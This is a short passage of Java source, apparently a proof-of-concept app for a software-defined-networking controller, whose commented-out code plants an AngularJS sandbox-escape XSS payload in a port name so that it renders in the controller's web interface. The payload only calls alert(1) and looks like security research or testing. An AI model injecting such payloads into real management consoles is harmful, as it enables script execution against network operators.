| // --- INJECT XSS PAYLOAD IN HOST LOCATION --- 102 | /* 103 | * getHosts(); 104 | * HostId h1 = getHost(0).id(); 105 | * getHosts(); 106 | * log.info("XSS Host Tracking App: Selected host {}", h1); 107 | * Set locationsH1 = getLocations(h1); 108 | * log.info("XSS Host Tracking App: Locations {}", locationsH1); 109 | * HostLocation oldLocationH1 = locationsH1.iterator().next(); 110 | * // here create newLocationH1 111 | * Iterable devices = deviceService.getDevices(); 112 | * DeviceId s1 = devices.iterator().next().id(); 113 | * PortNumber pn = PortNumber.portNumber(1337, 114 | * "\"{{1+1}} {{7*7}} {{\'a\'.constructor.prototype.charAt=[].join;eval(\'x=1} } };alert(1)//\');}}